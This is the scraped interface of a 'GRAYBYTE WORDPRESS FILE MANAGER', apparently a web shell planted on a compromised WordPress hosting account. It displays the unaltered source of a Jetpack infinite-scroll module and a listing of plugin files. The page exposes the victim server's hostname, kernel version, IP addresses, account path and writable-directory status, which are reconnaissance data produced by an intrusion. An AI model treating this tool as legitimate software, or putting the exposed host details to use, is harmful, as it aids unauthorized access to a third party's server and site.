✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/tdtravelandlogistics.com/wp-content/plugins/jetpack/modules//infinite-scroll.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Module Name: Infinite Scroll
 * Module Description: Automatically load new posts as visitors scroll down your site.
 * Sort Order: 26
 * First Introduced: 2.0
 * Requires Connection: No
 * Auto Activate: No
 * Module Tags: Appearance
 * Feature: Appearance
 * Additional Search Queries: scroll, infinite, infinite scroll
 */

use Automattic\Jetpack\Current_Plan as Jetpack_Plan;
use Automattic\Jetpack\Stats\Options as Stats_Options;

if ( ! defined( 'ABSPATH' ) ) {
	exit( 0 );
}

/**
 * Jetpack-specific elements of Infinite Scroll
 */
class Jetpack_Infinite_Scroll_Extras {
	/**
	 * Class variable singleton.
	 *
	 * @var Jetpack_Infinite_Scroll_Extras
	 */
	private static $instance = null;

	/**
	 * Option names.
	 *
	 * @var string
	 */
	private $option_name_google_analytics = 'infinite_scroll_google_analytics';

	/**
	 * Singleton implementation
	 *
	 * @return object
	 */
	public static function instance() {
		if ( ! self::$instance instanceof Jetpack_Infinite_Scroll_Extras ) {
			self::$instance = new Jetpack_Infinite_Scroll_Extras();
		}

		return self::$instance;
	}

	/**
	 * Register actions and filters
	 *
	 * @uses add_action, add_filter
	 */
	private function __construct() {
		add_action( 'jetpack_modules_loaded', array( $this, 'action_jetpack_modules_loaded' ) );

		add_action( 'admin_init', array( $this, 'action_admin_init' ), 11 );

		add_action( 'after_setup_theme', array( $this, 'action_after_setup_theme' ), 5 );

		add_filter( 'infinite_scroll_js_settings', array( $this, 'filter_infinite_scroll_js_settings' ) );

		add_action( 'wp_enqueue_scripts', array( $this, 'action_wp_enqueue_scripts' ) );
	}

	/**
	 * Enable "Configure" button on module card
	 *
	 * @uses Jetpack::enable_module_configurable
	 * @action jetpack_modules_loaded
	 */
	public function action_jetpack_modules_loaded() {
		Jetpack::enable_module_configurable( __FILE__ );
	}

	/**
	 * Register Google Analytics setting
	 *
	 * @uses add_settings_field, __, register_setting
	 * @action admin_init
	 */
	public function action_admin_init() {
		if ( ! Jetpack_Plan::supports( 'google-analytics' ) ) {
			return;
		}

		add_settings_field( $this->option_name_google_analytics, '<span id="infinite-scroll-google-analytics">' . __( 'Use Google Analytics with Infinite Scroll', 'jetpack' ) . '</span>', array( $this, 'setting_google_analytics' ), 'reading' );
		register_setting( 'reading', $this->option_name_google_analytics, array( $this, 'sanitize_boolean_value' ) );
	}

	/**
	 * Render Google Analytics option
	 *
	 * @uses checked, get_option, __
	 */
	public function setting_google_analytics() {
		echo '<label><input name="infinite_scroll_google_analytics" type="checkbox" value="1" ' . checked( true, (bool) get_option( $this->option_name_google_analytics, false ), false ) . ' /> ' . esc_html__( 'Track each scroll load (7 posts by default) as a page view in Google Analytics', 'jetpack' ) . '</label>';
		echo '<p class="description">' . esc_html__( 'Check the box above to record each new set of posts loaded via Infinite Scroll as a page view in Google Analytics.', 'jetpack' ) . '</p>';
	}

	/**
	 * Sanitize value as a boolean
	 *
	 * @param mixed $value - the value we're sanitizing.
	 * @return bool
	 */
	public function sanitize_boolean_value( $value ) {
		return (bool) $value;
	}

	/**
	 * Load theme's infinite scroll annotation file, if present in the IS plugin.
	 * The `setup_theme` action is used because the annotation files should be using `after_setup_theme` to register support for IS.
	 *
	 * As released in Jetpack 2.0, a child theme's parent wasn't checked for in the plugin's bundled support, hence the convoluted way the parent is checked for now.
	 *
	 * @uses is_admin, wp_get_theme, apply_filters
	 * @action setup_theme
	 * @return null
	 */
	public function action_after_setup_theme() {
		$theme = wp_get_theme();

		if ( ! $theme instanceof WP_Theme && ! is_array( $theme ) ) {
			return;
		}

		/** This filter is already documented in modules/infinite-scroll/infinity.php */
		$customization_file = apply_filters( 'infinite_scroll_customization_file', __DIR__ . "/infinite-scroll/themes/{$theme['Stylesheet']}.php", $theme['Stylesheet'] );

		if ( is_readable( $customization_file ) ) {
			require_once $customization_file;
		} elseif ( ! empty( $theme['Template'] ) ) {
			$customization_file = __DIR__ . "/infinite-scroll/themes/{$theme['Template']}.php";

			if ( is_readable( $customization_file ) ) {
				require_once $customization_file;
			}
		}
	}

	/**
	 * Modify Infinite Scroll configuration information
	 *
	 * @uses Jetpack::get_active_modules, is_user_logged_in, stats_get_options, Jetpack_Options::get_option, get_option, JETPACK__API_VERSION, JETPACK__VERSION
	 * @filter infinite_scroll_js_settings
	 *
	 * @param array $settings - the settings.
	 * @return array
	 */
	public function filter_infinite_scroll_js_settings( $settings ) {
		// Provide WP Stats info for tracking Infinite Scroll loads
		// Abort if Stats module isn't active
		if ( in_array( 'stats', Jetpack::get_active_modules(), true ) ) {
			// Abort if user is logged in but logged-in users shouldn't be tracked.
			if ( is_user_logged_in() ) {
				$stats_options        = Stats_Options::get_options();
				$track_loggedin_users = isset( $stats_options['count_roles'] ) ? (bool) $stats_options['count_roles'] : false;

				if ( ! $track_loggedin_users ) {
					return $settings;
				}
			}

			// We made it this far, so gather the data needed to track IS views
			$settings['stats'] = 'blog=' . Jetpack_Options::get_option( 'id' ) . '&host=' . wp_parse_url( get_option( 'home' ), PHP_URL_HOST ) . '&v=ext&j=' . JETPACK__API_VERSION . ':' . JETPACK__VERSION;

			// Pagetype parameter
			$settings['stats'] .= '&x_pagetype=infinite';
			if ( 'click' === $settings['type'] ) {
				$settings['stats'] .= '-click';
			}

			$settings['stats'] .= '-jetpack';
		}

		// Check if Google Analytics tracking is requested.
		$settings['google_analytics'] = Jetpack_Plan::supports( 'google-analytics' ) && Jetpack_Options::get_option_and_ensure_autoload( $this->option_name_google_analytics, 0 );

		return $settings;
	}

	/**
	 * Always load certain scripts when IS is enabled, as they can't be loaded after `document.ready` fires, meaning they can't leverage IS's script loader.
	 *
	 * @global $videopress
	 * @uses do_action()
	 * @uses apply_filters()
	 * @uses wp_enqueue_style()
	 * @uses wp_enqueue_script()
	 * @action wp_enqueue_scripts
	 * @return null
	 */
	public function action_wp_enqueue_scripts() {
		// Do not load scripts and styles on singular pages and static pages
		$load_scripts_and_styles = ! ( is_singular() || is_page() );
		if (
			/**
			 * Allow plugins to enqueue all Infinite Scroll scripts and styles on singular pages as well.
			 *
			 *  @module infinite-scroll
			 *
			 * @since 3.1.0
			 *
			 * @param bool $load_scripts_and_styles Should scripts and styles be loaded on singular pahes and static pages. Default to false.
			 */
			! apply_filters( 'jetpack_infinite_scroll_load_scripts_and_styles', $load_scripts_and_styles )
		) {
			return;
		}

		// VideoPress stand-alone plugin
		global $videopress;
		if ( ! empty( $videopress ) && The_Neverending_Home_Page::archive_supports_infinity() && is_a( $videopress, 'VideoPress' ) && method_exists( $videopress, 'enqueue_scripts' ) ) {
			$videopress->enqueue_scripts();
		}

		// VideoPress Jetpack module
		if ( Jetpack::is_module_active( 'videopress' ) ) {
			wp_enqueue_script( 'videopress' );
		}

		// Fire the post_gallery action early so Carousel scripts are present.
		if ( Jetpack::is_module_active( 'carousel' ) ) {
			/** This filter is already documented in core/wp-includes/media.php */
			do_action( 'post_gallery', '', '', 0 );
		}

		// Always enqueue Tiled Gallery scripts when both IS and Tiled Galleries are enabled
		if ( Jetpack::is_module_active( 'tiled-gallery' ) ) {
			Jetpack_Tiled_Gallery::default_scripts_and_styles();
		}
	}
}
Jetpack_Infinite_Scroll_Extras::instance();

/**
 * Load main IS file
 */
require_once __DIR__ . '/infinite-scroll/infinity.php';

/**
 * Remove the IS annotation loading function bundled with the IS plugin in favor of the Jetpack-specific version in Jetpack_Infinite_Scroll_Extras::action_after_setup_theme();
 */
remove_action( 'after_setup_theme', 'the_neverending_home_page_theme_support', 5 );


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
canonical-urls
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
carousel
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
comment-likes
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
comments
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
custom-post-types
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
external-media
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
google-fonts
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
gravatar
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
infinite-scroll
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
likes
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
markdown
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
memberships
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
photon-cdn
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
plugin-search
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
post-by-email
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
related-posts
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
scan
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
seo-tools
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
sharedaddy
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
shortcodes
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
shortlinks
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
simple-payments
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
site-icon
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
sitemaps
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
stats
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
subscriptions
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
theme-tools
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
tiled-gallery
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
verification-tools
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
videopress
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
widget-visibility
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
widgets
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
woocommerce-analytics
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
wordads
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
wpcom-tos
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
account-protection.php
0.36 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
blaze.php
1.028 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
blocks.php
1.82 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
canonical-urls.php
2.455 KB
26 Feb 2026 9.49 PM
tdhomesa / tdhomesa
0644
carousel.php
0.598 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
comment-likes.php
8.043 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
comments.php
1.077 KB
23 Mar 2026 7.45 PM
tdhomesa / tdhomesa
0644
contact-form.php
0.779 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
copy-post.php
15.445 KB
19 May 2026 1.55 PM
tdhomesa / tdhomesa
0644
custom-content-types.php
4.001 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
google-fonts.php
0.628 KB
27 Apr 2026 8.15 PM
tdhomesa / tdhomesa
0644
gravatar-hovercards.php
11.912 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
infinite-scroll.php
8.245 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
json-api.php
0.491 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
latex.php
4.626 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
likes.php
20.992 KB
4 May 2026 9.08 PM
tdhomesa / tdhomesa
0644
markdown.php
1.04 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
module-extras.php
2.69 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
module-headings.php
44.736 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
module-info.php
27.272 KB
10 Feb 2026 2.53 PM
tdhomesa / tdhomesa
0644
monitor.php
3.7 KB
1 Jun 2026 7.52 PM
tdhomesa / tdhomesa
0644
notes.php
7.878 KB
8 Dec 2025 7.41 PM
tdhomesa / tdhomesa
0644
photon-cdn.php
12.689 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
photon.php
0.682 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
plugin-search.php
21.642 KB
4 May 2026 9.08 PM
tdhomesa / tdhomesa
0644
post-by-email.php
0.66 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
post-list.php
0.557 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
protect.php
0.595 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
publicize.php
3.765 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
related-posts.php
2.422 KB
19 May 2026 1.55 PM
tdhomesa / tdhomesa
0644
search.php
1.18 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
seo-tools.php
1.599 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
sharedaddy.php
1.058 KB
23 Feb 2026 3.49 PM
tdhomesa / tdhomesa
0644
shortcodes.php
6.451 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
shortlinks.php
4.585 KB
19 May 2026 1.55 PM
tdhomesa / tdhomesa
0644
simple-payments.php
0.411 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
sitemaps.php
1.305 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
sso.php
0.726 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
stats.php
43.159 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
subscriptions.php
35.382 KB
8 Jun 2026 8.52 PM
tdhomesa / tdhomesa
0644
theme-tools.php
2.47 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
tiled-gallery.php
1.115 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
vaultpress.php
1.801 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
verification-tools.php
0.878 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
videopress.php
0.966 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
waf.php
0.302 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
widget-visibility.php
0.545 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
widgets.php
2.8 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
woocommerce-analytics.php
0.906 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
wordads.php
0.617 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
wpcom-reader.php
0.45 KB
17 Feb 2026 5.00 PM
tdhomesa / tdhomesa
0644
wpgroho.js
1.931 KB
29 Oct 2024 4.55 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF